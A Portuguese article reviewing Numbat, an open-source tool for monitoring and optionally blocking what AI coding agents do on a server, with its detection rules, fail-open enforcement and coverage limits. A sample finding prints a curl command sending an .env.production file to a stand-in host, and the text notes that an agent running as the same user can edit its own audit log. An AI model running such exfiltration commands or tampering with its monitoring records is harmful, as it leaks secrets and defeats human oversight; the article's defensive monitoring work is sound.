Numbat: monitore o que agentes de IA fazem no servidor

O que é o Numbat

O Numbat permite saber o que um agente de IA fez em uma máquina que você administra. Ele lê os callbacks de hooks e os arquivos de sessão que os agentes de programação já produzem, normaliza esses dados em um único formato de evento e os compara com regras que são acionadas por comportamentos como ler uma chave privada SSH ou enviar um download diretamente para um shell. A Perplexity o lançou como código aberto sob a licença Apache 2.0, com o primeiro release marcado em 29 July 2026.

Tudo abaixo vem do repositório do projeto e da própria documentação, consultados em 2 August 2026. Quando a Perplexity faz uma afirmação, este texto informa isso. Este não é um tutorial de instalação, porque o repositório tem poucos dias e seus comandos vão mudar.

O problema: ninguém registra o que o agente fez

Um agente de programação no seu VPS executa comandos do shell, lê arquivos, grava arquivos e abre conexões de rede, tudo como o usuário que você atribuiu a ele. O histórico do shell não registra nada disso, porque o agente não está digitando no seu shell. sshd registra o seu login, mas não registra nada do que o modelo decidiu fazer depois. /var/log/auth.log permanece silencioso, a menos que algo acesse sudo. O agente mantém sua própria transcrição, mas esse arquivo fica no diretório de sessão do agente, seu formato muda entre versões e o próprio processo do agente pode gravá-lo.

Por isso, quando alguém pergunta se o agente leu .env.production na terça-feira passada, a resposta honesta na maioria dos servidores é que não é possível saber. Essa lacuna é a razão da existência deste projeto.

O que o Perplexity afirma que o Numbat faz

O README começa descrevendo a ferramenta como "visibilidade no endpoint da atividade de agentes de IA, com detecção local, bloqueio opcional antes da ação e reconstrução forense". Endpoint é a máquina onde o agente é executado, não um dispositivo de rede que monitora a atividade externamente. São recursos separados e têm pesos diferentes.

A detecção é executada no dispositivo. As regras são escritas em CEL (common expression language) e avaliadas localmente. Há suporte a regras de sequência com várias etapas e às suas próprias regras em YAML. Nada precisa sair da máquina para que uma regra seja acionada.

O bloqueio é opcional e restrito. Ele funciona somente por meio de hooks síncronos antes da ação, nos agentes que oferecem esse recurso. Também permanece desativado até que você o ative.

A reconstrução ocorre depois do fato. numbat scan analisa artefatos de sessão que um agente já gravou no disco, permitindo consultar atividades anteriores à instalação da ferramenta. O projeto delimita cuidadosamente essa afirmação: "A reconstrução de dados em repouso não é aquisição de disco ou memória e não pode recuperar atividades que um agente não tenha persistido."

A saída é NDJSON versionado (JSON delimitado por novas linhas), abrangendo eventos, descobertas, decisões de aplicação, indicadores e resumos de varredura, no schema version 0.2.0 a partir da v0.1.2. Os registros são enviados para stdout ou para um arquivo local e, opcionalmente, por HTTP para um coletor sob sua administração. O software é distribuído como um único binário estático do Go, compilado sem cgo, para macOS, Linux e Windows em amd64 e arm64. Portanto, em um VPS Linux, ele é um único arquivo e não exige a instalação prévia de um runtime.

Quais agentes o Numbat consegue realmente detectar?

A matriz de cobertura em docs/agent-coverage.md é a lista oficial, e a cobertura é desigual. O projeto informa isso claramente, sem ocultar as limitações. Claude Code, Codex, Gemini CLI, Cursor e GitHub Copilot CLI têm verificação de artefatos e captura em tempo real com um pre-action hook. O OpenClaw recebe um plugin nativo a partir da versão 2026.7.1. Muitas entradas estão marcadas como deferred. Isso significa que existe um caminho de live hook, mas não há um parser de artefatos. Em muitos casos, isso ocorre porque o agente armazena o histórico em SQLite com um write-ahead log que não pode ser lido com segurança enquanto o agente está em execução. OpenCode e Cline estavam nesse grupo quando a matriz foi consultada em 2 August 2026.

Verifique a linha correspondente ao seu agente antes de planejar qualquer coisa com essa ferramenta. O termo "supported" significa algo diferente em quase todas as linhas.

Como é uma detecção

As regras têm IDs que informam para que servem. secrets.read_private_key cobre uma chave SSH, credenciais da AWS, uma configuração do kube ou um login de registro de pacotes. exec.download_pipe_shell é acionada quando a saída de curl ou wget é direcionada para um interpretador. privilege.elevated_shell detecta uma solicitação de um shell root interativo por meio de sudo, doas, su ou pkexec. impact.cryptomining_launch corresponde a binários e nomes de imagens de mineradores conhecidos.

As regras de sequência combinam eventos dentro de uma única sessão. chain.secret_read_then_egress exige a leitura de um arquivo secreto seguida por um comando que envia dados para fora. O README publica a detecção abaixo a partir de uma reprodução controlada de dois callbacks de pré-ação do Claude Code, não de um incidente real. Ela foi reduzida aqui aos campos relevantes:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Observe "confidence": "medium" dentro do registro e observe o que o projeto afirma sobre toda essa classe de saída: "As detecções são correspondências de regras, não provas de comprometimento." Um script de implantação que lê uma chave e depois faz upload de um artefato de build corresponderá à mesma regra de sequência. A correspondência está correta, mas o alerta está errado, o que é o estado normal de toda ferramenta de detecção que você já executou.

O bloqueio é desativado por padrão e ocorre fail-open

Todas as regras lançadas pelo Numbat são apenas de monitoramento. Transformar uma regra em bloqueio exige uma ação deliberada: copie o YAML completo da regra para o seu próprio diretório, mantenha o mesmo id, adicione enforce: true, incremente a versão e valide e instale essa política.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Agora vem a parte que define quanto você deve confiar nele. O deny do Numbat é uma resposta devolvida ao agente, e é o agente que efetivamente recusa a chamada da ferramenta. O guia de aplicação é direto sobre o que acontece quando o próprio Numbat apresenta um problema: "Payloads malformados, erros de avaliação relevantes, panics e falhas de saída suprimem o deny do numbat." A entrada do hook é limitada a 4 MiB, e entradas maiores seguem o mesmo caminho.

O guia também é direto sobre o limite de um deny que é aplicado: "Fail-open significa que o numbat omite sua resposta de deny. Isso não garante que a ferramenta seja executada: o host ainda pode solicitar confirmação, negar, atingir o tempo limite ou aplicar outro hook ou política."

Portanto, a aplicação aqui é uma proteção auxiliar, não uma barreira. Se o processo falhar, a ação não será bloqueada pelo Numbat, porque um monitor que congela seu agente sempre que apresenta um problema é desinstalado em menos de uma semana. Essa é uma troca razoável. Apenas não construa um modelo de segurança que pressuponha que o deny sempre chegará.

Onde o Numbat se encaixa no que você já faz

O Numbat é executado no endpoint, dentro da própria árvore de processos do agente, e grava em ~/.numbat/records.ndjson por padrão. Um agente executado como seu usuário pode ler esse arquivo. Ele também pode editá-lo. A trilha de auditoria vale exatamente tanto quanto o isolamento ao redor dela. Portanto, todos os controles que você já tem ficam à frente deste controle, não atrás dele.

Dar ao agente de programação uma VM descartável limita o que uma execução maliciosa pode alcançar. Usar um usuário com privilégios mínimos na VPS impede que o agente acesse arquivos que não deveria abrir. Manter as credenciais fora do contexto do agente é o que torna uma correspondência com secrets.read_private_key rara o suficiente para valer a pena analisá-la quando ocorrer. E o sandbox configurado para o Claude Code em uma VPS continua sendo o mecanismo de contenção.

O Numbat acrescenta o registro. Portanto, envie esse registro para um local que o agente não possa acessar. numbat ship e o coletor HTTP existem para isso. Uma cópia do fluxo em uma segunda máquina é a diferença entre um arquivo de log e uma evidência. O modelo de eventos também inclui campos MCP (model context protocol). Assim, as chamadas de ferramentas que saem por um servidor MCP hospedado por você em uma VPS entram no mesmo fluxo que os comandos locais do shell. Isso é importante porque esse caminho fica invisível para qualquer mecanismo que monitore apenas bash.

Primeiro, teste em modo somente leitura

Instale uma versão fixada. O Go 1.26.5 ou mais recente é necessário para go install, e a página de releases contém binários pré-compilados com checksums SHA-256 caso você prefira não compilar a partir do código-fonte.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents detecta os agents instalados no host. numbat scan analisa os artefatos de sessão já armazenados no disco e exibe registros. O README informa que esses comandos "não instalam hooks nem alteram a configuração do agent" e que o numbat "nunca executa agents ou comandos encontrados nos artefatos, e faz requisições de saída somente para sinks HTTP configurados". A varredura é somente leitura e redige secrets, e a saída normal dos registros nunca inclui uma transcrição bruta completa.

A captura em tempo real é a próxima etapa e altera a configuração do agent:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all grava eventos, descobertas, indicadores e decisões de enforcement aplicáveis em ~/.numbat/records.ndjson. Duas ressalvas vêm diretamente do projeto. Pode ser necessário confiar nos hooks dentro do agent antes que eles sejam executados, e essa confiança precisa ser revisada novamente depois que você alterar flags como --enforce. Além disso, hook status "verifica a configuração, não a execução nem a entrega"; portanto, uma linha de status saudável não prova que os registros estão chegando a algum destino.

Por que um repositório tão novo não é uma dependência

As versões públicas são v0.1.1 em 29 July 2026 e v0.1.2 em 1 August 2026. O repositório tinha 597 estrelas quando este texto foi escrito, em 2 August 2026. Números que crescem tão rapidamente refletem o público da Perplexity, não a qualidade do código em uso real. Uma estrela significa que alguém salvou a página para consultá-la mais tarde.

O número da versão indica claramente o estágio do projeto. As notas da v0.1.2 tratam principalmente de correções na remoção de credenciais, além de trabalho de normalização de bundles de casos e telemetria. Bugs de remoção de dados sensíveis são o tipo esperado de defeito inicial em uma ferramenta cuja função é ler com segurança as transcrições de outros programas. Haverá mais bugs desse tipo, porque as entradas vêm de uma dúzia de agentes, e cada um altera seu formato conforme seu próprio cronograma.

Duas regras práticas resultam disso. Fixe a tag, nunca @latest, em tudo que você mantiver. E trate a ferramenta como um instrumento em avaliação, não como um controle do qual você depende, pelo menos até o schema de registros deixar de mudar.

FAQ

O Numbat bloqueia comandos perigosos de agentes de IA?

Somente se você optar por isso, e apenas com base no melhor esforço. Todas as regras distribuídas pelo Numbat são somente de monitoramento. Para bloquear, copie o YAML da regra para seu próprio diretório, mantenha o id, adicione enforce: true, incremente a versão e instale o hook com --enforce. Mesmo assim, o deny é uma resposta enviada ao agente, e é o agente que recusa a chamada. O projeto documenta um comportamento fail-open: payloads malformados, erros de avaliação, panics e falhas de saída suprimem o deny. Use-o como uma proteção adicional, não como sua única barreira.

Quais agentes de IA o Numbat suporta?

A cobertura varia conforme o agente e está listada em docs/agent-coverage.md no repositório. Claude Code, Codex, Gemini CLI, Cursor e GitHub Copilot CLI tinham tanto varredura de artefatos quanto captura em tempo real quando essa página foi consultada em 2 de agosto de 2026, e o OpenClaw tem um plugin nativo a partir da versão 2026.7.1. Muitos outros agentes aparecem com um caminho de hook em tempo real, mas ainda sem um parser de artefatos, geralmente porque o histórico da sessão fica em um banco de dados SQLite que não é seguro ler enquanto o agente está em execução. Leia a linha correspondente ao seu agente, porque a palavra "suportado" abrange vários níveis diferentes nessa lista.

O agente pode adulterar os registros do Numbat?

Sim, se ele for executado como o mesmo usuário. Por padrão, os registros ficam em ~/.numbat/records.ndjson na mesma máquina que o agente, portanto qualquer processo com acesso de gravação a esse caminho pode alterá-los ou excluí-los. Envie o stream para um coletor que o agente não possa acessar, usando numbat ship ou o sink HTTP, e mantenha o arquivo local como uma cópia de conveniência. Por isso, essa ferramenta complementa o isolamento, em vez de substituí-lo. Um agente confinado a uma VM descartável e executado por um usuário com privilégios mínimos tem muito menos alcance sobre seu próprio histórico de auditoria.

O Numbat está pronto para um servidor de produção?

Não como um controle do qual você dependa. A primeira versão pública foi a v0.1.1, em 29 de julho de 2026, e a v0.1.2 foi lançada em 1 de agosto de 2026. Portanto, as flags e o schema dos registros ainda estão mudando. Executar numbat agents e numbat scan em um servidor é uma operação somente de leitura e de baixo risco, e mostrará o que seus agentes deixaram no disco. Instalar hooks de enforcement em um servidor importante é uma decisão diferente. Isso exige uma tag fixada e um plano para lidar com situações em que o hook apresente falhas.